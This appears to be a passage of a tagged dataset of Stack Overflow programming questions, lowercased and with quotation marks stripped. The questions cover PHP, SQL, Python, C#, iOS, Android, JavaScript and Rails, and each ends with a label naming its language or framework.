);   //performs the search public function search($search_term){     //sanitizes the search term to prevent injection attacks     $sanitized = $this-&gt;mysqli-&gt;real_escape_string($search_term);      //run the query     $query = $this-&gt;mysqli-&gt;query( select name from simple where name like  {$sanitized}%  );       //check results     if( ! $query-&gt;num_rows) {         return false;     }       //loop and fetch data     while( $row = $query-&gt;fetch_object() ){         $rows[] =$row;     }       //build and return results      $search_results = array(          count =&gt; $query-&gt;num_rows           results  =&gt; $rows      );      return $search_results;      }  }    &gt; </code></pre>,mysql
splits  comprehension  capitalise and add fullstop  i need your help. i am trying to write this python code but i keep failing.    imagine there is a really rude friend of yours  that always sends emails with all words in capital letters. your friend also doesn t know how to use a spacebar  so he separates words with the ‘:’ (colon) character. imagine your friend sends you the message:   <pre><code> hi:how:r:u:today:”. </code></pre>  <ul> <li> take this message  as a string. split it into a list of string words and make each word lowercase using a list comprehension on each element. read here for information on how to make words lowercase. </li> <li> edit the first and last word (i.e. the first and last element of your list) to capitalise the first letter of the sentence  and add a full stop to the end of the sentence. </li> </ul>,python
how do i put a peice of text above another  (using div)  i am creating a website  but the top of the website with the name and what page you are on is too far spaced out. atm it looks like this;   <pre><code>                                website name                                 page you re on </code></pre>  <hr>   but i want there to not be the spaces between. i have tried using div tags to position it but whatever i do they dont move.    my code is    <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;title&gt;website name -home&lt;/title&gt; &lt;style&gt; body { background-color: #3399ff; }  h2 { text-align: center; font-family:  arial narrow   arial  sans-serif; }  h4 { text-align: center; font-family:  arial narrow   arial  sans-serif; }  p{ font-family:  arial rounded mt bold    helvetica rounded   arial  sans-        serif; }  hr {  width: 100% }  #pagetop { position: absolute; top: 80px; right: 0; width: 200px; height: 100px; border: 3px solid #8ac007; }  #titledivide{ position: relative; }    &lt;/style&gt; &lt;body&gt;  &lt;div #id= pagetop &gt; &lt;h2&gt;website name&lt;/h2&gt; &lt;h4&gt;home&lt;/h4&gt; &lt;/div&gt;  &lt;div #id= titledivide &gt; &lt;hr /&gt; &lt;/div&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>,html
how to get keypress if press a key anywhere in the document   i am trying to fire keypress event anytime and anywhere i hit <em>enter</em>  but i only can reach this in specifying in a dom element with ng-keypress.    i reached this result using pure javascript with this code:   <pre><code>document.onkeydown = function(e){     if(e.keycode === 13){       //do something     } } </code></pre>   but i am not sure if this is the best way  or the  angular way  to do this.,angularjs
how do you transfer and save data from one view controller to another  i am trying to move data from one view controller to another while also saving that data in the second view controller.    i have seen apps do this quite regularly  but i simply cannot figure out how to transfer and save the data.,objective-c
how can i find max(balance) with account id   i have this table and i need to print <code>max(balance)</code> with <code>account_no</code>  but i can t figure out how to get the result i want.   <pre><code>+-------------+------------+--------+------+ |  cust_id    | account_no |balance |status| +-------------+------------+--------+------+ | 6363251425  |     40     | 110000 |  a   | +-------------+------------+--------+------+ | 6262521111  |     22     | 51000  |  d   | +-------------+------------+--------+------+ | 1111254215  |     19     | 504211 |  a   | +-------------+------------+--------+------+ | 6363251425  |     99     | 3620   |  a   | +-------------+------------+--------+------+ | 9999999999  |     31     | 1000   |  a   | +-------------+------------+--------+------+ | 6363251425  |     47     | 3000   |  d   | +-------------+------------+--------+------+ | 9999999999  |     23     | 303333 |  d   | +-------------+------------+--------+------+ | 1111254215  |     45     | 85424  |  a   | +-------------+------------+--------+------+ | 9999999999  |     49     | 632555 |  a   | +-------------+------------+--------+------+ </code></pre>   so the result will be like that    <pre><code>+-----------------+------------+ |  max(balance)   | account_no | +-----------------+------------+ |      632555     |     49     |  +-----------------+------------+ </code></pre>   how can i get this result,sql
is there a way to change a file name dynamically   i have a site where only about five people can log into it. when a user logs in i want to have one of the access-protected pages file name to change and have a random file name each time they login. i want this so when the user logs in they cannot type the page in the url and go straight there by skipping the pages they must go through to get there.    so is this possible with php  and any guidance on how to implement this would be great. thanks.,php
deep copy in c#  msdn gives this example of a deep copy (<a href= http://msdn.microsoft.com/en-us/library/system.object.memberwiseclone.aspx  rel= noreferrer >http://msdn.microsoft.com/en-us/library/system.object.memberwiseclone.aspx</a>)   <pre><code>public class person  {     public int age;     public string name;     public idinfo idinfo;      public person shallowcopy()     {        return (person)this.memberwiseclone();     }      public person deepcopy()     {        person other = (person) this.memberwiseclone();         other.idinfo = new idinfo(this.idinfo.idnumber);        return other;     } } </code></pre>   but  doesn t a new person object have to be instantiated  and then returned  for example  is this code below acceptable/equal/inferior to the code above for performing a deep copy     as i understand the memberwiseclone() method  it just performs a shallow copy  i.e. copies values/references from copied object to new object. this results in a shallow copy since the memory references are equal  i.e. the references point to the same objects.   <pre><code>public class person  {     public int age;     public string name;     public idinfo idinfo;      public person shallowcopy()     {        return (person)this.memberwiseclone();     }      public person deepcopy()     {        person other = new person(); // difference        other.idinfo = new idinfo(this.idinfo.idnumber);        return other;     } } </code></pre>,c#
combining similar values in a single column  i have a column that is being used to list competitors names in a table i m putting together.  right now don t have a lot of control over how these inputs are made  and it causes some serious headaches.  there are random spaces and misspellings throughout our data  and yet we need to list the data by competitor.    as an example (not actual sql i m using)  list of competitors:   <pre><code>price cutter pricecutter pricecuter price cuter </code></pre>   if i ran the query:   <pre><code>select competitor_name  sum(their_sales)  from cmdata.competitors where their_sales between 10000 and 100000000 group by competitor_name </code></pre>   i would get a different entry for each version of price cutter  something i clearly want to avoid.    i would think this problem would come up a lot  but i did a google search and came up dry.  i will admit  the question is kind of hard to articulate in a few words  maybe that s why i didn t come with anything.  either that or this is so basic i should already know...    (ps- yes  we re moving to a drop down menu  but it s gonna take some time.  in the mean time  is there a solution ),sql
how to delete files when a record is deleted   i have a table:   <pre><code>create table photo (     photo_id bigint not null auto_increment      property_id bigint not null      filename varchar (50) not null;     ...     primary key (photo_id)      constraint photo_fk_property foreign key (property_id)         references property (property_id)         on delete cascade ); </code></pre>   when a row from this table is deleted  the file that is referenced by it should be deleted as well. there are two scenarios when records are deleted from this table:   <ol> <li>user deletes one particular photo.</li> <li>user deletes one particular property object (as in  real estate property )  and all the photos referencing that property are deleted automatically by <code>on delete cascade</code>.</li> </ol>   i know i can select all the referenced photos in the database before deleting a property and delete them along with their files one by one  but i m looking for an alternate solution. is it possible to catch the moment when a record in the <code>photo</code> table is deleted and delete the file automatically  without resigning the <code>cascade</code> clause  maybe in a trigger somehow,mysql
how to identify current database while inside a stored procedure   i am trying to write a simple stored procedure which will clear the contents of <em>some</em> tables in the current database - i m doing this by matching a prefix against the list of tables in the information_schema:   <pre><code>delimiter $$ create procedure local_flush_cache(db varchar(255)) begin  select @str_sql:=concat( delete from   group_concat(table_name)) from information_schema.tables where table_schema=db and table_name like  cache_% ;  prepare stmt from @str_sql;  execute stmt;  drop prepare stmt;  end$$ delimiter ; </code></pre>   i would like to be able to remove the db parameter and have the function work on the currently active database.    i guess i will also need the ability to recognise that a database has not yet been selected and output an error (to prevent accidentally flushing all cache tables in all databases).,mysql
where is the best place to start a service   i d like to start a service when my app first boots up. i.e:    <code>startservice(new intent(this  reminderservice.class));</code>    one option is to do this in an activity  but i don t want to have to hit  specific place in the app for the service to start. alternately was thinking of initializing in the application object itself   <pre><code>public class myapp extends application {  @override public void oncreate() {     super.oncreate();      // initialize reminder service     startservice(new intent(this  reminderservice.class)); } </code></pre>   is there a standard (idiomatic) place where i should be doing the initialization,android
loop is not storing data in array correctly c#  hey guys i m currently working on a bank program for a class project. the idea the user will need to make an account if not done so already but if they already do they can just login using account number and pin. however. instead of my program constantly adding data to an array that s size is 100 it just replaces the data in slot [0] just wondering why.    <pre><code>public partial class form1 : metroform {     //for creating new account     string newaccounttype;     accounts[] customers = new accounts[99999];     int temp;     string verifypin = (  );     private void openaccount_click(object sender  eventargs e)     {          for (int index=0;index &lt; customers.length; ++index)         {             var r1 = new random();             var r2 = new random();                customers[index] = new accounts();             customers[index].name = newname.text;             customers[index].accounttype = newaccounttype;             customers[index].accountnumber = (r1.next(1000000 9000000))+(r2.next(100 9000));             customers[index].accountpin = createpin.text;             customers[index].accountbalance = 100.00;             temp = index;           }          metromessagebox.show(this   thank you member  +customers[temp].name+ \nyour member number is:  +customers[temp].accountnumber   you are now a memeber   messageboxbuttons.okcancel  messageboxicon.asterisk);         metrotabcontrol1.selectedtab = metrotabpage2;      }          private void checkbalance_click(object sender  eventargs e)         {         int veri=0;         bool isfound = false;             for (int count = 0; count &lt; customers.length; ++count)                 {             if (convert.toint32(username.text) == customers[count].accountnumber)             {                 veri = count;                 isfound = true;              }             else                 isfound = false;             accountnotfound.text =  account not found ;           }         if (isfound &amp;&amp; (customers[veri].accountpin == pintext.text))         {             metromessagebox.show(this   account found    account found );         }         else         {             metromessagebox.show(this   account not found or wrong pin    account not found );             pintext.text =   ;         }          accountbalance.visible = true;         userwithdraw.visible = true;         userdeposite.visible = true;         accountbalance.text =  welcome   +customers[veri].name+ \nyour current balance is:  +customers[veri].accountbalance;       }  public class accounts {     private string name  accounttype  accountpin;     private int accountnumber;     private double accountbalance;     public string name     {         get         {             return name;         }         set         {             name = value;         }     }      public int accountnumber     {         get         {             return accountnumber;         }         set         {             accountnumber = value;         }     }     public string accountpin     {         get         {             return accountpin;         }         set         {             accountpin = value;         }     }     public string accounttype     {         get         {             return accounttype;         }         set         {             accounttype = value;         }     }     public double accountbalance     {         get         {             return accountbalance;         }         set         {             accountbalance = value;         }     } } </code></pre>,c#
(c++) pass  this  to a static method as a default parameter  clearly doing something like <code>static void dosomething(classpointer* myptr = this)</code> wouldn t work  because a static method has no <code>this</code>  however when i call this <code>dosomething</code> i am always passing the <code>this</code> from the class calling it  i d like to not have to put it in every time.    if there was some way to get a reference to the class calling that static method from inside the method itself then that would work  but afaik there isn t.    what options do i have available,c++
how to print content of file by choosing it from list of another file python   there is a  text file <code>list.txt</code> which contains the names of the files stored in the column to which you want to access  ie  let assigned to the variable  name of the file from the column and calculate the number of lines in it or just bring it to  print content. how to open and read the file line by line which contains the names  of the other file i understand  and how to assign them a name is not clear.   <pre><code>input_files = open ( list.txt )  for line in input_files.readlines():      read line by line with the names 1.txt  2.txt </code></pre>   then somehow have to get access to them. ie to name and count the number of lines in a file,python
ios -- avassetreadertrackoutput memory leak  i m getting so frustrated with this.    i m examining an avasset frame by frame by hooking up an avassetreadertrackoutput instance to an avassetreader.    if i use this code  everything works fine but there is a memory leak:   <pre><code>while ([reader status] == avassetreaderstatusreading) {     cmsamplebufferref buffer = [trackoutput copynextsamplebuffer];     if(!buffer) break;     if(/* some condition that alerts me i want to get the image for this frame  */) {          cvimagebufferref imagebuffer = cmsamplebuffergetimagebuffer(buffer);         // lock the base address of the pixel buffer.         cvpixelbufferlockbaseaddress(imagebuffer 0);          // get the number of bytes per row for the pixel buffer.         size_t bytesperrow = cvpixelbuffergetbytesperrow(imagebuffer);         // get the pixel buffer width and height.         size_t width = cvpixelbuffergetwidth(imagebuffer);         size_t height = cvpixelbuffergetheight(imagebuffer);          // create a device-dependent rgb color space.         static cgcolorspaceref colorspace = null;         if (colorspace == null) {             colorspace = cgcolorspacecreatedevicergb();         if (colorspace == null) {             // handle the error appropriately.             return nil;             }         }          // get the base address of the pixel buffer.         void *baseaddress = cvpixelbuffergetbaseaddress(imagebuffer);         // get the data size for contiguous planes of the pixel buffer.         size_t buffersize = cvpixelbuffergetdatasize(imagebuffer);          // create a quartz direct-access data provider that uses data we supply.         cgdataproviderref dataprovider =         cgdataprovidercreatewithdata(null  baseaddress  buffersize  null);         // create a bitmap image from data supplied by the data provider.         cgimageref cgimage =         cgimagecreate(width  height  8  32  bytesperrow                          colorspace  kcgimagealphanoneskipfirst | kcgbitmapbyteorder32little                          dataprovider  null  true  kcgrenderingintentdefault);         cgdataproviderrelease(dataprovider);          // create and return an image object to represent the quartz image.         uiimage *image = [uiimage imagewithcgimage:cgimage];         cgimagerelease(cgimage);          cvpixelbufferunlockbaseaddress(imagebuffer  0);          [/* array of uiimages */ addobject:image];     }     else cfrelease(buffer); } </code></pre>   there is a memory leak because i am only releasing the cmsamplebuffer if i don t want a uiimage from it.    however  this code does not cause a memory leak  but it causes the array of uiimages to be empty when it s all over:   <pre><code>while ([reader status] == avassetreaderstatusreading) {     cmsamplebufferref buffer = [trackoutput copynextsamplebuffer];     if(!buffer) break;     if(/* some condition that alerts me i want to get the image for this frame  */) {          cvimagebufferref imagebuffer = cmsamplebuffergetimagebuffer(buffer);         // lock the base address of the pixel buffer.         cvpixelbufferlockbaseaddress(imagebuffer 0);          // get the number of bytes per row for the pixel buffer.         size_t bytesperrow = cvpixelbuffergetbytesperrow(imagebuffer);         // get the pixel buffer width and height.         size_t width = cvpixelbuffergetwidth(imagebuffer);         size_t height = cvpixelbuffergetheight(imagebuffer);          // create a device-dependent rgb color space.         static cgcolorspaceref colorspace = null;         if (colorspace == null) {             colorspace = cgcolorspacecreatedevicergb();         if (colorspace == null) {             // handle the error appropriately.             return nil;             }         }          // get the base address of the pixel buffer.         void *baseaddress = cvpixelbuffergetbaseaddress(imagebuffer);         // get the data size for contiguous planes of the pixel buffer.         size_t buffersize = cvpixelbuffergetdatasize(imagebuffer);          // create a quartz direct-access data provider that uses data we supply.         cgdataproviderref dataprovider =         cgdataprovidercreatewithdata(null  baseaddress  buffersize  null);         // create a bitmap image from data supplied by the data provider.         cgimageref cgimage =         cgimagecreate(width  height  8  32  bytesperrow                          colorspace  kcgimagealphanoneskipfirst | kcgbitmapbyteorder32little                          dataprovider  null  true  kcgrenderingintentdefault);         cgdataproviderrelease(dataprovider);          // create and return an image object to represent the quartz image.         uiimage *image = [uiimage imagewithcgimage:cgimage];         cgimagerelease(cgimage);          cvpixelbufferunlockbaseaddress(imagebuffer  0);          [/* array of uiimages */ addobject:image];     }     cfrelease(buffer) } </code></pre>   why on earth does releasing the cmsamplebufferref mess everything up when it causes a memory leak when i don t release it,ios
how to use drag items in ios  i m not quite sure how to start explaining this  but i ll try.    i started reading ios books awhile ago  and i m trying to get a handle on objective-c. i think i have an ok understanding of it.    what i m doing in ios is making a simple game that involves dragging numbers into a box  which the app then grabs the number that was dragged into the box. however  i have no idea how i do this.    i was wondering if you guys have any links/articles on something like this  if i should use a certain framework for this  or maybe even some example code.     thanks for any answers.,ios
basic many-to-many left join query  so i have 3 tables:   <ul> <li>users</li> <li>achievements</li> <li>achievements_unlocked (many-to-many)</li> </ul>   i would like a query to return all achievements available  plus mention what achievements the current user (id_user=123 for example) has unlocked.    how can i do this  this should involve a left join but if i add  where id_user = 123  it won t get me achievements locked...    thanks!,mysql
add ul when li has an underscore with javascript (no jquery)  i want to automatically add <code>&lt;ul&gt;</code> when <code>&lt;li&gt;</code> has an <code> _ </code> and then remove the <code> _ </code> from <code>&lt;li&gt;</code>.    as an example  i want to change this:   <pre><code>&lt;nav&gt;     &lt;div class= linklist  id= linklist1 &gt;         &lt;ul&gt;             &lt;li&gt;&lt;a href= # &gt;look book&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;pages&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;_home&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;_contact page&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;info&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;_success&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;_error&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;categories&lt;/a&gt;&lt;/li&gt;         &lt;/ul&gt;     &lt;/div&gt; &lt;/nav&gt; </code></pre>   so it looks like this:   <pre><code>&lt;nav&gt;   &lt;div class= linklist  id= linklist1 &gt;     &lt;ul&gt;       &lt;li&gt;&lt;a href= # &gt;look book&lt;/a&gt;&lt;/li&gt;       &lt;li&gt;&lt;a href= # &gt;pages&lt;/a&gt;         &lt;ul&gt;           &lt;li&gt;&lt;a href= # &gt;home&lt;/a&gt;&lt;/li&gt;           &lt;li&gt;&lt;a href= # &gt;contact page&lt;/a&gt;&lt;/li&gt;         &lt;/ul&gt;       &lt;/li&gt;       &lt;li&gt;&lt;a href= # &gt;info&lt;/a&gt;         &lt;ul&gt;           &lt;li&gt;&lt;a href= # &gt;success&lt;/a&gt;&lt;/li&gt;           &lt;li&gt;&lt;a href= # &gt;custom dashboard&lt;/a&gt;&lt;/li&gt;         &lt;/ul&gt;       &lt;/li&gt;       &lt;li&gt;&lt;a href= # &gt;categories&lt;/a&gt;&lt;/li&gt;     &lt;/ul&gt;   &lt;/div&gt; &lt;/nav&gt; </code></pre>,javascript
how contextmenu can made visible with right click outside the c# windows form application  i have added contextmenu in richtextbox and it only appears inside richtextbox with right click. now i want to make my context menu available outside the windows form application such as inside notepad word etc.how can i made my context menu appear with right click anywhere  your s suggestions will be highly appreciated.    <pre><code>public form1() {                     initializecomponent();          contextmenu menu = new contextmenu();         menuitem menuitem = new menuitem( view meaning  new eventhandler(viewmeaning));         menu.menuitems.add(menuitem);         richtextmeaning.contextmenu = menu;      }     private void viewmeaning(object sender  eventargs e)     {         txtword.text = richtextmeaning.selectedtext;         btnsearch_click(e e);     } } </code></pre>   then,c#
css gliding text by resizing window  some days ago i saw a webside where the text (<code>padding-left: 5%</code>) glided to another position when i resized the window. normally the position is changed  hard  (means when i make the window 100px wider  the position is 5px more away from left)  but there it really glides to this new position.    first i thought it would be a js library  so i tried deactivating javascript  but even after this it worked  so i think it must be css-based  has anybody a hint how can i make this too,css
uialertview and uiactionview disappear - app left in inconsistent state  i ve just added a uialertview to confirm a download action.    once the user clicks ok  i then call a method (via the uialertview delegate method) to put up a uiactionsheet with a progress bar. once the download has completed i dismiss the uialertview.    since adding the uialertview i get a dimmed screen when the uiactionsheet is dismissed. i can t tap anything on the screen but the app doesn t seem to have crashed (e.g. exc_bad_access).    the only thing i ve seen similar to this (i.e. where the screen dimmed) was when a notification wasn t being posted on the main thread (which i m doing here).    any suggestions      ==== update ====    // in my start download method...   <pre><code>uialertview *alert = [[uialertview alloc] initwithtitle:@ confirm your download  message:[nsstring stringwithformat:@ do you want to download this ] delegate:self cancelbuttontitle:@ cancel  otherbuttontitles:@ download   nil]; alert.tag = confirm_download; [alert show]; </code></pre>   // then  in the uialertview delegate method...   <pre><code>- (void) alertview:(uialertview *) alertview clickedbuttonatindex:(nsinteger)buttonindex {     if (alertview.tag == confirm_download) {         if (buttonindex == 0) {             debuglog(@ cancel download );         }         else {             debuglog(@ download );              [self startdownload];         }     } } </code></pre>,ios
terminating app due to uncaught  nsunknownkeyexception    keep getting this error for this code i used breakpoints it crashes at    <pre><code>gameselect *selectgame = [[gameselect alloc] initwithnibname:nil bundle:nil]; </code></pre>   i don t know what s going on i am simply switching from one nib to another nib   <pre><code>- (ibaction)playbuttonpressed:(uibutton *)sender {     gameselect *selectgame = [[gameselect alloc] initwithnibname:nil bundle:nil];     selectgame.modaltransitionstyle = uimodaltransitionstylecoververtical;     [self presentmodalviewcontroller:selectgame animated:yes]; } </code></pre>,iphone
how do i start using patterns and practices efficiently   how do i start using patterns and practices efficiently for developing .net applications,.net
jquery  use event.target inside .on()  i have a function that looks like this:   <pre><code>function preview(obj){   ... } </code></pre>   and here is how i call the function     <pre><code>$( .parent ).on( click   .child  preview); </code></pre>   the problem is how to i define the  obj   i tried the following code  but no luck.   <pre><code>$( .parent ).on( click   .child  {obj:event.target} preview); </code></pre>   or the only way i can use is like this  which i tried and work as expected.   <pre><code>$( .parent ).on( click   .child  function(){   preview($(this)); }); </code></pre>,jquery
as  keyword in c# returns null data  how do i get the base class data into the child class object when using keyword  as . i tried the below code but it returns null data.   <pre><code>class basec {     public int baseid { get; set; }     public string basename { get; set; } }  class derivedc: basec {     public int derivedid { get; set; }     public string derivedname { get; set; } } class program {     static void main(string[] args)     {          basec basec = new basec();         basec.baseid = 1;         basec.basename =  base class name  ;         var derivedc = basec as derivedc;     } } </code></pre>,c#
how to add data into listviewadapter   i have made listviewadapter which gets data from three edittext and display on it but the problem is  if i click the add button then the first entry is over written by the new entries .i want to add the data to be in the list.    here is my android code:   <pre><code> public class list extends appcompatactivity {  private edittext etitem; private edittext etqty; private edittext etrate;  public static string item; public static string qty; public static string rate; private arraylist&lt;hashmap&gt; list; public listviewadapter adapter;   @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_list);      etitem=(edittext)findviewbyid(r.id.etitem);     etqty=(edittext)findviewbyid(r.id.etqty);     etrate=(edittext)findviewbyid(r.id.etrate);      item=etitem.gettext().tostring();     qty=etqty.gettext().tostring();     rate=etrate.gettext().tostring();        button badd=(button)findviewbyid(r.id.badd);     badd.setonclicklistener(new view.onclicklistener() {         @override         public void onclick(view v) {              listview lview = (listview) findviewbyid(r.id.listview);             populatelist();             listviewadapter adapter = new listviewadapter(list.this  list);             lview.setadapter(adapter);             adapter.notifydatasetchanged();             etitem.settext(  );             etqty.settext(  );             etrate.settext(  );         }     }); } private void populatelist() {     list = new arraylist&lt;hashmap&gt;();     item=etitem.gettext().tostring();     qty=etqty.gettext().tostring();     rate=etrate.gettext().tostring();     hashmap temp = new hashmap();      temp.put(first_column   );     temp.put(second_column  item);     temp.put(third_column  qty);     temp.put(fourth_column  rate);     list.add(temp); } </code></pre>,android
memory leaks in class method objective -c  i had a problem with memory leak in this below code   potential leak of an object in line 39     and here line 39 is  [self alloc] init];   <pre><code>+ (uploaderthread *)shareduploaderthread {     @synchronized(self) {         if (_shareduploaderthread == nil)          {             [[self alloc] init];          }     }     return _shareduploaderthread; } </code></pre>   plz help me   wer i did the mistake,objective-c
how to draw over other apps with the ios sdk  android has a permission that allows apps to  draw over other apps  with floating content (using the system_alert_window permission).  does ios have anything similar,ios
rails: how do i change values in table from nil to string inside the rails console   how would i update a <code>nil</code> value in my rails <code>user</code> database table      there are three <code>:string</code> fields which are currently <code>nil</code>. and i m trying to update these fields.     here is an example of my rails console:   <pre><code>2.4.0 :002 &gt; user.find(1)   user load (0.2ms)  select   users .* from  users  where  users . id  =   limit    [[ id   1]  [ limit   1]]  =&gt; #&lt;user id: 1  email:  antchamberlin.js@gmail.com   created_at:  2017-09-06 11:43:15   updated_at:  2017-09-08 07:42:48   username: nil  first_name: nil  last_name: nil&gt;  2.4.0 :003 &gt; @user = user.username = ant nameerror: undefined local variable or method `ant  for main:object     from (irb):3 </code></pre>   what is the correct terminal code i need to update the <code>username: nil  first_name: nil  last_name: nil</code> fields,ruby-on-rails
android http post response format type different than specified in query string  i am sending post request from android to the url using httpclient like this one below -     string url =  http://www.myurl.com/test.php format=json ;    now i am getting response back in form of plist instead of json  which is default type of response from php file if no format query string is described in url.    can we specify query string in url while posting  it looks like php file is not getting format query string.   <pre><code>list&lt;namevaluepair&gt; namevaluepairs = new arraylist&lt;namevaluepair&gt;(); namevaluepairs.add(new basicnamevaluepair( method    add )); namevaluepairs.add(new basicnamevaluepair( device_id    123 )); namevaluepairs.add(new basicnamevaluepair( device_token    3221 )); namevaluepairs.add(new basicnamevaluepair( session_id    1212 )); namevaluepairs.add(new basicnamevaluepair( event_id   12345  ));  httpclient httpclient = new defaulthttpclient(); httppost httppost = new httppost(url);                      httppost.addheader( content-type   application/x-www-form-urlencoded ); httppost.addheader( accept   application/json ); httppost.setentity(new urlencodedformentity(namevaluepairs  http.utf_8)); httpresponse response = httpclient.execute(httppost);  /* checking response */ if (response != null) {      inputstream in = response.getentity().getcontent();      string a = convertstreamtostring(in);     log.i( read from server  +response.getstatusline().getstatuscode()  a); }else{     log.i( response is     null );  } </code></pre>   thanks,android
how to make text gray if switch is off in angular   hi here i have on off switch  if the switch is on text should be normal black color  else text should be red color  some one help me out in this    fiddle:   <a href= http://jsfiddle.net/0o88p8xy/  rel= nofollow >http://jsfiddle.net/0o88p8xy/</a>   <pre><code>     **html code**        &lt;section&gt;                   &lt;label&gt;award of excelence&lt;/label&gt;                   &lt;div class= onoffswitch &gt;                     &lt;input type= radio  id= radio1  name= radios  class= switchon  value= all                      checked&gt;                     &lt;label for= radio1 &gt;&lt;/label&gt;                     &lt;input type= radio  id= radio2  name= radios  class= switchoff                  value= false &gt;                      &lt;label for= radio2 &gt;&lt;/label&gt;                   &lt;/div&gt;                 &lt;/section&gt;                  &lt;section&gt;                   &lt;label&gt;innovation index&lt;/label&gt;                   &lt;div class= onoffswitch &gt;                     &lt;input type= radio  id= radios21  name= radios2  class= switchon  value= all                checked&gt;                     &lt;label for= radios21 &gt;&lt;/label&gt;                     &lt;input type= radio  id= radios22  name= radios2  class= switchoff                   value= false &gt;                     &lt;label for= radios22 &gt;&lt;/label&gt;                   &lt;/div&gt;                 &lt;/section&gt; </code></pre>,angularjs
what is __use_misc macro used for   i am working on a project and the code contains a macro definition:   <pre><code>#define __use_misc </code></pre>   the code is not using it so i think it has some other purpose.,c
mass edit in ruby on rails  let s say you have some products which have 2 fields  a description and a stock value.    how do you layout a form of all the products in an action named mass_edit with fields so a user can edit some  press submit and then save them in a mass_update     i have used nested forms in a order-order_line scenario but i can t seem to figure this one out.,ruby-on-rails
get total sum of time in table  i have a method in symfony2 that renders the total hours for two time fields.    now i want this to automatically calculate  in template when database is updated   <pre><code>  &lt;table&gt;      &lt;tr&gt;        &lt;th&gt;total hours&lt;/th&gt;        &lt;th&gt;name&lt;/th&gt;      &lt;/tr&gt;       &lt;tr&gt;          &lt;td&gt;pedro&lt;td&gt;         &lt;td class= hours &gt;2:00&lt;/td&gt;//total hours from gethoursworked() method      &lt;/tr&gt;       &lt;tr&gt;          &lt;td&gt;alan&lt;td&gt;         &lt;td class= hours &gt;1:43&lt;/td&gt;//total hours from gethoursworked() method      &lt;/tr&gt;       &lt;p&gt; total hours is&lt;button id= addtimes &gt;&lt;/button&gt;: &lt;/p&gt;       &lt;span id= timesum &gt;&lt;/span&gt; </code></pre>   i want an output like this   <pre><code>pedro   2:00 alan     1:43  total hours is:    03:43 </code></pre>   script   <pre><code>&lt;script&gt;     number.prototype.paddigit = function () {         return (this &lt; 10)    0  + this : this;     }      $( #addtimes ).on( click   function () {         var t1 =  00:00 ;         var mins = 0;         var hrs = 0;         $( .hours ).each(function () {             t1 = t1.split( : );             var t2 = $(this).val().split( : );             mins = number(t1[1]) + number(t2[1]);             minhrs = math.floor(parseint(mins / 60));             hrs = number(t1[0]) + number(t2[0]) + minhrs;             mins = mins % 60;             t1 = hrs.paddigit() +  :  + mins.paddigit()         });         $( #timesum ).text(t1);     }); &lt;/script&gt; </code></pre>   outputs   <pre><code>pedro   2:00 alan     1:43  total hours is:    nan:nan </code></pre>   how would you do it,jquery
javascript condition for operations not working as required  i want to check some operator condition and based on that i will assign some values. so below is my condition.   <pre><code>if (checkifuserrequesterapprover ==  vsat approver  &amp;&amp; isdraftorsave ==  save  || isdraftorsave ==  draft ) {     vsatsaving.is_submit = 0;     vsatsaving.status_id = 1; } </code></pre>   and in my <code>checkifuserrequesterapprover</code> is <code>vsat requester</code>     <blockquote>    still both the conditions are satisfying and going inside. how is that possible    </blockquote>,javascript
what sort of class does begininvoke return  how can i use it to call endinvoke   i m working my way bottom up through asp.net  and i was setting up an old school delegate pattern:   <pre><code>    public delegate void processrequestdelegate(httpcontext context);      public iasyncresult beginprocessrequest(httpcontext context  asynccallback cb  object extradata)     {         processrequestdelegate asyncdelegate = new processrequestdelegate(processrequest);         return asyncdelegate.begininvoke(context  cb  extradata);     }      public void endprocessrequest(iasyncresult result)     {        //   profit      } </code></pre>   but i realized  i don t know what to cast the <code>iasyncresult result</code> to in the <code>endprocessrequest</code> function. i tried:   <pre><code>    public void endprocessrequest(iasyncresult result)     {         // compiler error because this is dumb         ((processrequestdelegate)result).endinvoke(result);     } </code></pre>   but obviously you can t cast result to a delegate. so what is the proper way to end the invocation. and more generally  what sort of class does <code>delegate.begininvoke</code> return     <strong>update</strong>    so i tried this out:   <pre><code>    public static void main()     {         iasyncresult result = beginstuff( something   null  null);         iasyncresult result2 = beginstuff( something else   null  null);          endstuff(result);         endstuff(result2);          console.readline();     }      static action&lt;string&gt; act = delegate(string str)     {         thread.sleep(timespan.fromseconds(2));         console.writeline( this seems to work );         thread.sleep(timespan.fromseconds(2));     };      static action&lt;string&gt; act2 = delegate(string str) { };      public static iasyncresult beginstuff(string data  asynccallback callback  object state)     {         return program.act.begininvoke(data  callback  state);     }      public static void endstuff(iasyncresult result)     {         // this works fine no matter how many times begininvoke is called         program.act.endinvoke(result);          // this however will fail  because the delegate that began the invocation          // is not the same as the one that ends it.         program.act2.endinvoke(result);     } </code></pre>   and it seems to work fine. as long as <code>begininvoke</code>/<code>endinvoke</code> are called using the same delegate  the runtime handles the rest (i guess that s what the iasyncresult is for). if you try to end using a different delegate though  it will give you a kind reminder not to do that.    <br/> <strong>another update</strong>    i found a better-er way to do this:   <pre><code>public void operation() {     throw new faultexception&lt;frieldyerror&gt;(new frieldyerror( returned with this error )); }  public iasyncresult beginoperation(asynccallback callback  object state) {     return ((action)operation).begininvoke(callback  state); }  public void endoperation(iasyncresult result) {     ((action)operation).endinvoke(result); } </code></pre>   since you just need to be using the same type of delegate  you can use one of the pre-existing ones and it works fine. no need to declare a local/private delegate of your own.     useful!,c#
i have sql query in this format select column b from table a where id =     + column b value +      how to use .format method of python instead of +  i have sql query in this format select   column b from table a where id =     + column b value +      how to use <code>.format</code> method of python instead of <code>+</code>    column b value is getting replaced dynamically  i want to use <code>.format</code> concat  how to use that instead of <code>+</code> in sql query.,python
